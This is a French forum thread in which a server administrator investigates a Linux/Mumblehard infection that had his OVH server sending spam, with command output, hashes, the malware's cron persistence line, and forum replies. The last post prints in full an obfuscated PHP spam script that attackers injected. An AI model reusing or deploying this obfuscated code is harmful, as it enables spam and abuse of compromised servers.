Ldfa Posté(e) le 29 avril 2015 Partager Posté(e) le 29 avril 2015 Hier, j'ai reçu un courriel d'OVH m'indiquant que mon serveur émettait du SPAM en grand nombre et qu'ils avaient bloqué le port 25 en attendant que je le désinfecte. Bonjour, Notre protection Anti-Spam a détecté un envoi important de spam à partir d'une de vos IP: 87.98.134.104 Afin d'assurer la sécurité de notre réseau le trafic sortant de votre serveur vers les ports 25 a été suspendu. Afin que vous puissiez effectuer les vérifications voici un échantillon des emails bloqués: Destination IP: 66.196.118.36 - Message-ID: - Spam score: 250 Destination IP: 173.194.72.27 - Message-ID: - Spam score: 250 Destination IP: 98.138.112.33 - Message-ID: - Spam score: 250 Destination IP: 98.136.217.203 - Message-ID: - Spam score: 550 Destination IP: 63.250.192.45 - Message-ID: - Spam score: 550 Je me suis connecté sur mon serveur et j'ai commencé à fouiller dans les fichiers de logs. Je n'ai rien trouvé dans un 1er temps. Les logs du serveur de mail étaient irréprochables. En fait, je ne cherchais pas au bon endroit. En utilisant Netsat, je me suis rendu compte que le port 39311 était utilisé par une adresse IP en Ukraine : # netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 87.98.134.104:39331 194.54.81.162:48894 TIME_WAIT tcp 0 0 87.98.134.104:57314 198.57.149.247:80 ESTABLISHED tcp 0 0 87.98.134.104:39331 194.54.81.162:44511 TIME_WAIT tcp 0 0 87.98.134.104:39331 194.54.81.162:42970 ESTABLISHED tcp 0 0 127.0.0.1:39695 127.0.0.1:4949 TIME_WAIT tcp 1 0 87.98.134.104:39331 194.54.81.162:60498 CLOSE_WAIT tcp 0 0 87.98.134.104:36907 223.4.7.134:80 CLOSE_WAIT tcp 0 0 87.98.134.104:12322 148.251.124.174:43743 ESTABLISHED J'avais déjà vu auparavant que les Trojan/Malware sous Linux étaient copiés dans /tmp ou /var/tmp en utilisant des failles de sécurités présentes dans php. Bingo, il y a bien un fichier suspect dans /var/tmp avec les droits de php : # ll total 16 drwxrwxrwt 2 root root 4096 Apr 29 19:58 ./ drwxr-xr-x 12 root root 4096 Apr 29 16:08 ../ -rwxr-xr-x 1 www-data www-data 6669 Apr 29 10:56 ieMVcloi* Un petit scan avec VirusTotal m'en dit un peu plus sur le suspect : MD5 86f0b0b74fe8b95b163a1b31d76f7917 SHA1 95aed86918568b122712bdbbebdd77661e0e6068 SHA256 747d985d4bd302e974474dc9ab44cb1f60cb06206f3639c5d603db94395b877b ssdeep192:Ca9xfxFkoZnqQUNyfj0B9+TtFt0NI+V2bGbjXQ:Caf46RUyYB4TtFtt/oXQ File size 6.5 KB ( 6669 bytes ) File type ELF Magic literalELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, corrupted section header size TrID ELF Executable and Linkable format (generic) (100.0%) AVG Linux/Generic_c.KE Avast ELF:DropPerl-M [Trj] Comodo UnclassifiedMalware Cyren Unix/PerlDrop.A DrWeb Linux.BackDoor.Shell.12 ESET-NOD32 Linux/Mumblehard.J.Gen F-Prot Unix/PerlDrop.A Ikarus Trojan.Linux.Pebble Sophos ELF/Drop-HH Zillya Trojan.Mumblehard.Linux.1 On trouve sa trace dans les fichiers suivants : # grep -ril "ieMVcloi" /var /var/log/syslog /var/spool/cron/crontabs/www-data Et voici le contenu du 1er fichier : # cat /var/log/syslog Apr 29 10:56:51 maxthon4 crontab[2109]: (www-data) REPLACE (www-data) Apr 29 10:57:01 maxthon4 /usr/sbin/cron[2162]: (www-data) RELOAD (crontabs/www-data) Apr 29 11:00:01 maxthon4 /USR/SBIN/CRON[2176]: (www-data) CMD (/var/tmp/ieMVcloi >/dev/null 2>&1) Le Trojan/Malware se relance toutes les 15 mns grâce à la commande Cron : #cat /var/spool/cron/crontabs/www-data */15 * * * * /var/tmp/ieMVcloi >/dev/null 2>&1 En listant la liste des process, on découvre un process très suspect, car le process init original est toujours en tête de liste, et il y est justement, ce qui signifie que l'on a 2 process init : # ps -xa 22853 ? Ss 0:00 init On va voir les fichiers et les ports utilisés par ce process suspect : # lsof -p 22853 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME init 22853 www-data cwd DIR 0,32 4096 63685126 / init 22853 www-data rtd DIR 0,32 4096 63685126 / init 22853 www-data txt REG 0,32 1487332 65996346 /usr/bin/perl init 22853 www-data mem REG 253,0 65996346 /usr/bin/perl (path dev=0,32) init 22853 www-data mem REG 253,0 65938918 /usr/lib/perl/5.14.2/auto/File/Glob/Glob.so (path dev=0,32) init 22853 www-data mem REG 253,0 65938753 /usr/lib/perl/5.14.2/auto/POSIX/POSIX.so (path dev=0,32) init 22853 www-data mem REG 253,0 65938664 /usr/lib/perl/5.14.2/auto/Fcntl/Fcntl.so (path dev=0,32) init 22853 www-data mem REG 253,0 65938879 /usr/lib/perl/5.14.2/auto/Socket/Socket.so (path dev=0,32) init 22853 www-data mem REG 253,0 65644632 /lib/i386-linux-gnu/libcrypt-2.13.so (path dev=0,32) init 22853 www-data mem REG 253,0 65644630 /lib/i386-linux-gnu/libc-2.13.so (path dev=0,32) init 22853 www-data mem REG 253,0 65643313 /lib/i386-linux-gnu/libpthread-2.13.so (path dev=0,32) init 22853 www-data mem REG 253,0 65644634 /lib/i386-linux-gnu/libm-2.13.so (path dev=0,32) init 22853 www-data mem REG 253,0 65644633 /lib/i386-linux-gnu/libdl-2.13.so (path dev=0,32) init 22853 www-data mem REG 253,0 65938948 /usr/lib/perl/5.14.2/auto/IO/IO.so (path dev=0,32) init 22853 www-data mem REG 253,0 65644625 /lib/i386-linux-gnu/ld-2.13.so (path dev=0,32) init 22853 www-data 0r CHR 1,3 0t0 65062321 /dev/null init 22853 www-data 1w CHR 1,3 0t0 65062321 /dev/null init 22853 www-data 2w CHR 1,3 0t0 65062321 /dev/null init 22853 www-data 3u unix 0xffff8803f5c770c0 0t0 414176946 /var/run/php5-fpm.sock init 22853 www-data 4u IPv4 414733999 0t0 TCP *:39331 (LISTEN) init 22853 www-data 5u IPv4 414279825 0t0 TCP maxthon4.me:39331->162.81.54.194.static.server.ua:60498 (CLOSE_WAIT) init 22853 www-data 6u IPv4 414279826 0t0 TCP maxthon4.me:36907->223.4.7.134:http (CLOSE_WAIT) On retrouve le port suspect du début et un autre également. Au niveau des fichiers utilisés, on voit qu'il utilise Perl et des librairies Perl, Il doit être écrit en Perl. J'ai trouvé une explication complète sur ce Trojan/Malware ici sur le site de Eset, l'article date même d'aujourd'hui et ça confirme un petit peu tout ce que j'ai pu découvrir. La faille utilisée doit être très récente ou alors je suis passé à côté de la mise à jour de php ? Je vais faire le tour de mes nombreux autres serveurs virtuels pour voir s'ils ne sont pas infectés également... Lien vers le commentaire Partager sur d’autres sites More sharing options...
Oliver Posté(e) le 29 avril 2015 Partager Posté(e) le 29 avril 2015 Et bien ! Ce serveur a un rapport avec le forum ? Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 29 avril 2015 Auteur Partager Posté(e) le 29 avril 2015 Il tourne sur le même serveur dédié, mais il n'est pas possible de passer d'un serveur virtuel à un autre, ni de remonter sur le serveur dédié. Après avoir visité tous les autres serveurs virtuels, aucun autre n'a été piraté. PS : J'en ai profité pour faire les mises à jour des programmes utilisés. Lien vers le commentaire Partager sur d’autres sites More sharing options...
ricouz Posté(e) le 30 avril 2015 Partager Posté(e) le 30 avril 2015 Et après j'aimerais avoir l'avis de ceux qui prétendent qu'il n'y a pas de cochonnerie sous linux et qui ont oublié que le premier vers a été fait sous unix ...... Bravo pour l'analyse en tout cas Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 30 avril 2015 Auteur Partager Posté(e) le 30 avril 2015 Oui Ricouz, c'est une sacrée vieille idée reçu concernant Linux ! Je m'en suis rendu compte depuis que je fais tourner un autre serveur virtuel avec Kippo, un serveur "Pot de miel" qui attire les pirates et sur lequel je récupère des Virus/Trojans/Malware pour Linux tous les jours. Lien vers le commentaire Partager sur d’autres sites More sharing options...
odyssee Posté(e) le 30 avril 2015 Partager Posté(e) le 30 avril 2015 ben dis donc.. costaud l'analyse ! les virus sous linux c'est comme les failles de sécurité dans firefox Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 30 avril 2015 Auteur Partager Posté(e) le 30 avril 2015 Google m'a encore une fois beaucoup aidé. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Dixours Posté(e) le 1 mai 2015 Partager Posté(e) le 1 mai 2015 Mais comment est-il arrivé sur ton serveur ? Pur hasard ? Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 1 mai 2015 Auteur Partager Posté(e) le 1 mai 2015 En testant simplement les adresses IP et les vulnérabilités des serveurs associés à l'aide d'un script. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Dixours Posté(e) le 1 mai 2015 Partager Posté(e) le 1 mai 2015 Mouais.... c'est comme pour les cambriolages, on entend souvent : "c'est pas de bol, je suis parti que 30min et c'est pile poil dans ce laps de temps qu'ils sont venus".... Un mec de chez OVH, ou de chez Maxthon, pourrait avoir mis la puce à l'oreille tu crois ? Lien vers le commentaire Partager sur d’autres sites More sharing options...
keyokee Posté(e) le 1 mai 2015 Partager Posté(e) le 1 mai 2015 je crois que j'ai besoin de cours d'informatique moi..... Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 2 mai 2015 Auteur Partager Posté(e) le 2 mai 2015 Relit bien l'article que j'ai indiqué Dixours pour comprendre le fonctionnement de ce malware. Le serveur était vulnérable et il c'est fait "piraté" comme des milliers d'autres. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 2 mai 2015 Auteur Partager Posté(e) le 2 mai 2015 Le Malware Linux/Mumblehard est revenu, cela signifie que le serveur est toujours faillible. En examinant de plus près les logs de Nginx, le serveur web utilisé, j'ai trouvé que c'était ajaxplorer qui était utilisé pour copier des fichiers et j'ai trouvé pas mal de script .php et .js qui permette d'envoyer du Spam dans le dossier /ajaxplorer/plugins/editor.zoho/agent/files/ On va désinfecter tout ça en profondeur... Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 2 mai 2015 Auteur Partager Posté(e) le 2 mai 2015 J'ai désactivé le serveur Web de Maxthon4.me que je suis le seul à utiliser (c'est plus pratique) pour faire un grand ménage de printemps. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 2 mai 2015 Auteur Partager Posté(e) le 2 mai 2015 J'ai trouvé ce fichier dans 2 répertoires différents sur le serveur Web injecté par cette adresse IP : 31.184.195.247 : <?php $v3F2NJX = Array('1'=>'Y', '0'=>'Q', '3'=>'L', '2'=>'n', '5'=>'O', '4'=>'b', '7'=>'G', '6'=>'j', '9'=>'e', '8'=>'y', 'A'=>'A', 'C'=>'t', 'B'=>'H', 'E'=>'4', 'D'=>'3', 'G'=>'M', 'F'=>'z', 'I'=>'v', 'H'=>'C', 'K'=>'m', 'J'=>'a', 'M'=>'u', 'L'=>'6', 'O'=>'W', 'N'=>'5', 'Q'=>'X', 'P'=>'F', 'S'=>'q', 'R'=>'x', 'U'=>'9', 'T'=>'V', 'W'=>'l', 'V'=>'J', 'Y'=>'1', 'X'=>'o', 'Z'=>'P', 'a'=>'B', 'c'=>'S', 'b'=>'h', 'e'=>'I', 'd'=>'R', 'g'=>'2', 'f'=>'7', 'i'=>'U', 'h'=>'8', 'k'=>'K', 'j'=>'0', 'm'=>'s', 'l'=>'T', 'o'=>'g', 'n'=>'D', 'q'=>'f', 'p'=>'p', 's'=>'i', 'r'=>'r', 'u'=>'w', 't'=>'c', 'w'=>'k', 'v'=>'Z', 'y'=>'d', 'x'=>'E', 'z'=>'N'); function v1JKEFJ($v6AK1S8, $vXXELYO){$vIX4N9A = ''; for($i=0; $i < strlen($v6AK1S8); $i++){$vIX4N9A .= isset($vXXELYO[$v6AK1S8[$i]]) ? $vXXELYO[$v6AK1S8[$i]] : $v6AK1S8[$i];} return base64_decode($vIX4N9A);} $vFZ7EBY = '07WMJTUFvQ0XVgdptDam1QWqvQV84DVFV8uuklmk07WMJTUFvQ0XVgRIvYU'. 'Wt2VIt2G23nAp5upAvQV84DVqtKTu4DVjJON2knAp5upAtgTjQDdp4OTq47'. 'WCJQ0XGHwfHwapvgNItKTqyQzWtWUb1KU8yHoRklmk07WMJTUFvQ0XVgYb9PUW97T6yQdp4gNqy7WCvctmGHwf'. 'HoppvsAXyKT8tgWI4WU64gYu1QVWkPaeiPUOdTVlciU53HA2zcEu36A23HA2ZHtpeHwo9uX'. 'oeHd8vQGoZcaat2Vb9cop5uXoeHd8vQz4e2VWtDTmyHVyO8V6J7T6J8'. 'VyenjoGnmkeHaW1gbIe7VbtgigzPUW4KzIv7iXtgT8JOPmJQpWkHd8'. 'vQGpklmkq0Xkv2TM1Ddp4gEo1DTFy7UCQDzjtKWuQDdbvDGXVBdW9B0pH2mkeHAoeHdjvQbjenjotDd8JQaq'. 'y7P2t8owy7TEyHuoVFRbZstp5uXkeHAoeHdjvQbjenjotDd8QDVWt7Rb1giXe6Rbe7b8vO1UQHes3HAsO8As3HAwy7TEyHwfHsAo'. 'eHAwy7TEyHAUeBzjtWU8vQam1OzWkHeh3gx+esuoesemeHdjvQbjklmkeHAoeHdjvQ'. 'bjenjotDd8QDVWt7Rb1giXeWusZsemeHeoQcAs3HAwy7TEyHwfHoXoeHAotKTjyQVMeHdjvQbj5upUHop647PFt8al'. 'lTd0eBmkeHauyOVmJOGoVPzzTPaqixUcTHAUeneY5uXoeBaY1KRp18Aw0Y'. 'VGdsAUeHVttWRMe6mkeHauyOVmJOGoV7dIQgdW12T2enjoGnmkeHauyOVmJOGoVxdW12T24DTjtBTjeHAo'. 'eHAUeHyW1gbIVFmkeHauyOVmJOGoV7dIQDvWt2AoZcaK1ORFvlmkeHauyO'. 'VmJOGoVPdp4OTIyQ0oeHAoeHAoeHAUenxY5uXoeBaY1KRp18AwT7WCvORp4OWjeHA'. 'oeHAoenjoGFAfHsAotBTs47W6eHdOvQVFJOUMeHAoeHAoeHAoZcA2zcE8'. '36125uXoeBa84DdW1DdWvHAwtgYjtPU64gNM5uXoeBa84DdW1DdWvHAw'. 'vQV84DefHsAotBVIy7T6y7TweHdXvORIQDVu4BwfHsAotBVIy7T6y7Twe7vY4KzjJOUMe7TwvOVYv8owtDd8kcafHsAoeHaFyg'. 'Wj1gookHdjJ7WF3lNxvOVYvgUYyBaYyHwo9uXoeHAoeHa61QzWeHyWt2VItWUm4gt25oXoeHAoe'. 'HAoe7T8tKU8QgRIv8owtDd8klmkeHAoeHAoeHastKTbJFmkeHAoeHAo1gPFvcA2JBdC4HtLHsAoeHAoeHAov'. 'OzX48aXy7YmvONjJQdpvQGXtBVWvYU8vQam1OzWkHtIOYR8Q7Nyk8h23HA2V8uoVBzjtswmexT'. '5TPUdTiUidTGmeHyTTx1C5Htp3seh12e+Q7Es5uXoeHAoeHAoe7V8vOPr5uXoeHAoeHa61QzWeHyW1gbIVFXke'. 'HAoeHAov7TK1QTmynXkeHAoeHAoeHaW1gbIeHdFyBefHsAoeHaUHsAoq0XoeBaY1KRp1'. '8aKyON6y7WI4saqQgzI42zjt2T6yHopeBmkeHAoeHdjJ7WF3lNF4QduQgzI4KEoZcAu5uXoeHAoVBdXJQGCZKT8tKU8enj'. 'o42Tm4nmkeHAoeHdjJ7WF3lNXvORIQDVu4BwoZcaMyORm5uXkeHAoeHdjJ7WF3lNw4YUwvOVYv8AU'. 'enAfHsAoq0XoeBaY1KRp18aKyON6y7WI4san4gNMvOzjkHdX4Dzj3HAwt7U8yHAUenAmeHdjJOYW4DTjenjoGFAmeHdItBdp4gN'. 'Fenjo1QV81QwXkcwo9uXoeHAoVBdXJQGCZKT8tKU8enjo42Tm4nmkeHA'. 'oe7WKkHdjJ7WF3lN64gNMvOzjvO0Xkcwo9uXoeHAoeHAwy7bpt8j+vQV84DeoZcabt2Vb9co2vQV84De2e'. 'nj+eHya4BVW1OdNe7zI4KNW1DdWvHaj48abeBzWt2vWtstp5uXoeHAoeHa8vQdYtKEovKPmtgifHsAo'. 'eHaUHoXVJO1XvOYuyBwXVBaIt20pkcafHsAoeHAoeHdu4DVjenjoVBdXJQGCZWzzTPaqixUcTnmkeHAoeBjkHsAo'. 'eHAwvQV84KhoZcAu5uXoeHAoV7T8t2zjtsAUeHt25uXoeHAoVBzI1gCWyPU64gNjvQbjenjotDd8'. 'vOPCQgzI42dW9Bdq1DVW1QdWkHdItBdp4gNFklmkeHAoeHdjJ7WF3'. 'lNF4QduQgzI4KEoZcaAtDd8vOPCQDzI1gCWyPU647WW420XV7bItD0Me6Xs3sdu4DV'. 'j3HAwvQV84KhmeHdWt2VFyBemeHdjJOYW4DTj3HalTPVP0iYq0jRVdiNiQjzZlwNP0Y0'. 'meHdF4gzrvQdq1gUMy7TEyHwfHoXoeHAoJO1XvOYuyBwXVBdXJQGCZ'. '2zCyBaq1gUM4swpeBmkeHAoeHAoVBdXJQGCZKT8tKU8enjo1QV81QwXVg'. 'T8tKU8V8AUZsA2dKPp47TweBdIe7zI4KNW1D0oy7hotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoVgT8tKN'. 'IV8AUZsAwvQV84KhmHsAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHyWt2VFyBe2enj+eHdWt2VFyBe'. 'p5uXoeHAoeHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoeHAoeHdjJ7WF3lNWv7TsyOt'. 'XVYzzTPAo3lEodTVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT8tKU8VYjo3sAs5sAwvQV8tDd8eHowvQV84Khp'. 'eswfHsAoeHAoeBjkeHAoeHAotKTjyQVMe7vb4BzW5uXoeHAoq0XkeHAoe7'. 'WKkBzY12zjtsb0cPaqlYGmenAmenGpeHxUeHyQciE2kcafHsAoeHAoeHdC'. '1QooZcap4KWqvgTjkHyC1QbqvQbW1DTjJOUMQDdp4Oi2klmkeHAoeHAoJO1okHdC1QooeljoGHAKVsA'. 'wy7WCvOUYyHA+eHdC1QopeBmo38hod7UMVD0o1KUjJ7T8e7WKeBTM47WCJQdWvAXoeHAoeHAoexaFvQdqy7WCv'. 'TUmJOYpyHowy7WCvOUYyHwfHsAoeHAoeBjkeHAoeHAotDd8vOPCQDzWyPUjJOYW4DTjkHdjJ7WF3lNF4QduQgzI4KEm'. 'eHdjJOYW4DTj3HAuklmkeHAoeBjkHsAoeHAw1ONM4DTM1gioZcAwy7bpt8j+vgTjQgRp4KTFkHwfHoXoeHAoJO1XVBdXJ'. 'QGCZKdIQgdW12T2enEUenepeBmkeHAoeHAoVBdXJQGCZKTwvOVYv8o2ijYiiHACZsa7iwUzePzPiWvPi6X2eHE'. 'oV7PM4KUY4KzWklmkeHAoeBjkHsAoeHa8vQdYtKEoyBVYvlmkeHaUHoXoeBaY1KRp18aKyON6y7WI4s'. 'aly7P8yPdGi8opeBmkeHAoeHdjJ7WF3lNWt2VItsAUe7NY47ufeHGoy7ho1QvIJO'. '0o1gUMv2TFJOUMHoXoeHAoJO1XecdjJ7WF3lN64gNMvOzjvO0Xkcwo9uXoeHAoeH'. 'Awy7bpt8j+vQV84DeoZcabt2Vb9co2vQV84De2enj+eHyn1ORmvO0oiDdbt2dilPGXkcaDJQdX4'. 'DTje7VWJON2e7zI4KNW1DdWvHtp5uXoeHAoeHa8vQdYtKEovKPmtgifHsAoeHaUHoXoeHAoVBdXJQGCZKzmJOTMyPU'. 'FvONwkHylTxPcTPdGi8to3sAwy7bpt8j+0YVGdswfHoXoeHAoVBVu4BwoZcAwy7bpt8j+vgTjQgR'. 'p4KTFkHwfHsAoeHAw1gUwvcAUeBzY12zjtsowt2am9cuoGHuoG8wfHoXoeHAoJO1XVB'. 'dXJQGCZKdIQgdW12T2enEUenepeBmkeHAoeHAoVBdXJQGCZKTwvOV'. 'Yv8o2ijYiiHACZsa7iwUzePzPiWvPi6X2eHEoVBVu4Bwp5uXoeHAoq0XkeHAo'. 'e7WKkHd64gdWeHxUene8GHwo9uXoeHAoeHAwy7bpt8j+vQV84DeoZ0XoeHAoeHAoeHabt2Vb9co2vQV84De2eHAoeHAUZsA'. '2iYdaiWdilPGo4KUje7P61gTuy7Twe7v84gjotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoVDzCyBaq1gUwvctoZlEoV'. '7zIv7imHsAoeHAoeHAoeHAoeHAoeHyF4QduQgYFv8toenj+eBzY12zjtsowt2am9cuozHwp5uXoeHAo'. 'eHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoeHAoeHdjJ7W'. 'F3lNWv7TsyOtXVYzzTPAo3lEodTVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT8tKU8VY'. 'jo3sA25sA2eHEoVBVu4Bwp5uXoeHAoeHaUHsAoeHAoeBVWyBT84saK1OR'. 'FvlmkeHAoeBjkHsAoeHapvsobtDd8vOPCQDzI1gCWyPUW4KPs47Tq1DVNtBdIkHdjJ7WF3lNF4QduQgzI4KEmeBd8yOimePz'. 'iiwTalTUniWW0TxUqliTicxUxQYdGiYUnlxWPlW0pkcafHsAoeHAoeBVWyBT84saK1ORFvlmkeHAoeBjk'. 'HsAoeHa8vQdYtKEoyBVYvlmkeHaUHoXoeBaY1KRp18aKyON6y7WI4saayQdXvON'. 'jJOzby7iXVBTFvQVM1OYW3HAwt7PFtDyItK0meHdbyQdXyBWuvlj2lxUBciE23HAw'. 'tKTb47jUV8tmeHdD4DVrtDdby7WI46j2V8wo9uXoeHAoJO1ok7TCtBdNkHdbyQdXyBWuvcwpeBmkeHAoeHAoV7PYy7bj'. '9QaWenjoVjRZdjW5VFmkeHAoeBjkHsAoeHaFygWj1gookHdbyQdX'. 'yBWuvcwo9uXoeHAoeHa61QzWeHy0lxPVlstLHsAoeHAoeHAoVBdXJQ'. 'GCZKzmJOTMyPUFvONwkHyaTTdeePaG0iW5V8AMeHdjJ7WF3lNniwR7klmkHsAoeHAoeHAoVBVu4BwoZcAwy7bpt'. '8j+vgTjQgRp4KTFkHwfHsAoeHAoeHAoV7zIv7ioZcaFyOVFyBeXVBVu4BwmenAmenGp5uXkeHAoeHAo'. 'eHapvsow1gUwvcAbZcAFGF0peBmkeHAoeHAoeHAoeHdjJ7WF3lNWt2VItsAUHsAoeHAoeH'. 'AoeHAoe7P8tKPNkHyWt2VItstoZlEoVjPTTxoo4KUje7P61gTuy'. '7Twe7v84gjotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyBaq1gUwvctoZlEoV7zIv7imHsAoeHAoeHAoeHAoeH'. 'AoeHAoeHyF4QduQgYFv8toZlEotDTstDd8kHd8t7RN3HAjkcwfHsA'. 'oeHAoeHAoeHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoeHAoeHAoeHAwy7bpt8j+vOdW12T2kHyllTd0eHj+'. 'exTciwUc5sA2eHEoVBdXJQGCZKT8tKU8O8yWt2VItsyyeHEoVFXoV8AMeHd8t7RNklmkeHAoeHAoeHAoeBjkeHAoeHA'. 'oeHAoeBVWyBT84saK1ORFvlmkeHAoeHAoeHaUHsAoeHAoeHAoeHA'. 'wy7bpt8j+1gRpvONjQDzW4K0X1KPFvl1jQgTM1gUwvcosQnAs3sdYtgT84KPCvcEsQnAs3sdu1QzFygU8vHwo3sAwy7bp'. 't8j+0YVGdswfHoXoeHAoeHAoeHd8t7RNenjoVBdXJQGCZKyWyPUmJONWt8o'. 'p5uXoeHAoeHAoeHd64gdWenjotDTstDd8kHd8t7RN3HAu3HAFklmkHsAoeHAoeHAoJO1XV7zIv7i'. 'oeljoG6GYkcafHsAoeHAoeHAoeHAwy7bpt8j+vQV84DeoZ0XoeHAoeHA'. 'oeHAoeHabt2Vb9co2vQV84De2enj+eHyayQdXvONjJOzby7WI4saM4D0o1Oz6vQajvO0ov2VI4caFvQVg'. 'vQe23AXoeHAoeHAoeHAoeHAoeHAoeHA2tgYjtPU64gdWV8AUZsAw1g'. 'UwvcukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyBaq4Qz2V8AUZsaFyO'. 'VFyBeXVBVu4Bwmen0pklmkeHAoeHAoeHAoe7WKkHdjJ7WF3lNw4YUwvOVYv8A+ZcARkcafHsAoeHAoeHAoeHAoeHdjJ7WF3lN'. 'Wv7TsyOtXVYzzTPAo3lEodTVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT'. '8tKU8VYjo3sA25sA2eHEoVBVu4Bwp5uXoeHAoeHAoeHAoq0XoeHAoeHAoeHAotKTjyQVMe'. '7vb4BzW5uXoeHAoeHAoeBjkeHAoeHAoeHastKTbJFmkeHAoeHAo1gPFvcA2lx'. 'UBciE25oXoeHAoeHAoeHdjJ7WF3lN647WW42dqtgTMvHo20TTicHaGljyVlst'. 'o3sAwy7bpt8j+0YVGdswfHoXoeHAoeHAoeHd8t7RNenjoVBdXJQGCZKyWyPUmJONWt8op5uXoeHAoeHAoeHd6'. '4gdWenjotDTstDd8kHd8t7RN3HAu3HAFklmkHsAoeHAoeHAoJO1XV7zIv7ioelj'. 'oGFGjkcafHsAoeHAoeHAoeHAwy7bpt8j+vQV84DeoZ0XoeHAoeHAoeHAoeHabt2Vb9co2vQV84De2'. 'enj+eHyaTTdee7NIyHab1gzWtBdWvHaKtKUCeBzWt2vWtstmHsAoeHAoeHAoeHAoeHAoeHAoeHyF4QduQgzIv7i2enj+e'. 'Hd64gdW3AXoeHAoeHAoeHAoeHAoeHAoeHA2tgYjtPUCtgt2enj+eBzY12zjts'. 'owt2am9cuozHwp5uXoeHAoeHAoeHAoJO1XVBdXJQGCZKdIQgdW12T2enEUenxpeBmkeHAoeHAoeH'. 'AoeHAoVBdXJQGCZKTwvOVYv8o2ijYiiHACZsaPiWVZi6XoV8AMeHdjJ7WF3lNWt2VItWm2vQV84De2QcAMeHtLe'. 'Hto3sAwt2am9cwfHsAoeHAoeHAoeHaUHsAoeHAoeHAoeHa8vQdYtKEo'. 'vKPmtgifHsAoeHAoeHAoq0XkeHAoeHAoeHAwy7bpt8j+1gRpvONjQDzW4K0X1KPFvl1jQgTM1gUwvcowyQzWtKNb4'. 'OipeHEoVBdXJQGCZwzclx1p5uXkeHAoeHAoeHAwt2am9cAUeHdjJ7WF3lN2vQdq'. '47WMvQGXklmkeHAoeHAoeHAw1gUwvcAUeBzY12zjtsowt2am9cuoGHuoG8w'. 'fHoXoeHAoeHAoe7WKkHd64gdWeHxUenGFzHwo9uXoeHAoeHAoeHAoVBdXJQGCZK'. 'T8tKU8enjkeHAoeHAoeHAoeHAo1QV81QwXVgT8tKU8V8AUZsA2TQzWtKNb4Oio4KUje7P61gTuy7Twe7'. 'v84gjotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyBaq1gUwvctoZlEo'. 'V7zIv7imHsAoeHAoeHAoeHAoeHAoeHAoeHyF4QduQgYFv8toZlEotDTstDd8kHd8t7RN3'. 'HAjkcwfHsAoeHAoeHAoeHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoe'. 'HAoeHAoeHAwy7bpt8j+vOdW12T2kHyllTd0eHj+exTciwUc5sA2eHEoVBdXJQGCZKT8tKU8O8yW'. 't2VItsyyeHEoVFXoV8AMeHd8t7RNklmkeHAoeHAoeHAoeBjkeHAoeHAoe'. 'HAoeBVWyBT84saK1ORFvlmkeHAoeHAoeHaUHoXoeHAoeHAoeHdjJ7WF3lN64'. '7WW42dqtgTMvHbs1QzWz6dqvON64gdWkHdu1QzFygU8vHwo3sA'. 'wy7bpt8j+0YVGdswfHoXoeHAoeHAoeHd8t7RNenjoVBdXJQGCZKyWyPUmJONWt8op5uXoeHAoeHAoeHd64gdWenjotD'. 'TstDd8kHd8t7RN3HAu3HAFklmkHsAoeHAoeHAoJO1XV7zIv7ioeljoG6GYkcafHsAoeHAoeHAoeHAwy7bpt'. '8j+vQV84DeoZ0XoeHAoeHAoeHAoeHabt2Vb9co2vQV84De2enj+eHy01QzFygU8vHaM4D0o1Oz6vQajvO0ov2VI4c'. 'aFvQVgvQe23AXoeHAoeHAoeHAoeHAoeHAoeHA2tgYjtPU64gdWV8AUZsAw1gUwvcukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyB'. 'aq4Qz2V8AUZsaFyOVFyBeXVBVu4Bwmen0pklmkeHAoeHAoeHAoe7WKkHdjJ7WF3lNw4YUwvOVYv8A+Zc'. 'ARkcafHsAoeHAoeHAoeHAoeHdjJ7WF3lNWv7TsyOtXVYzzTPAo3lEod'. 'TVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT8tKU8VYjo3sA25sA2eHEoVBVu4Bwp5uXoeHAoeHAoeHAo'. 'q0XoeHAoeHAoeHAotKTjyQVMe7vb4BzW5uXoeHAoeHAoeBjkeHAoeH'. 'AoeHastKTbJFmkeHAoeHAo1gPFvcA2lWdGlctLHsAoeHAoeHAo'. 'tKTRyOW8vTUI4KzWeHyW9Bd81QGI42dm4TUF1QzmQgzmJOTMyHNuJBA25uXoeHAoeHAoeHdjvOYuenjo4'. 'KTDeBzjvxzm1QzFkHwfHsAoeHAoeHAoV7Nj47Yq1gRpvONjenjo4KTDe7N'. 'j47YqtgPF4PU647WW42dq1gRbtDGfHsAoeHAoeHAoJO1XecAw4'. '2dm4TU647WW420CZwWMJQdp1ORp9KiXVBdW4QApkQmI3gRWyHyFeBdWtD0o'. 'JO1ovQvWt2wov2TM1Ddp4gEoJQdFe7Pg1OWm1OVmv0XoeHAoeHAoeHAoeHAwy'. 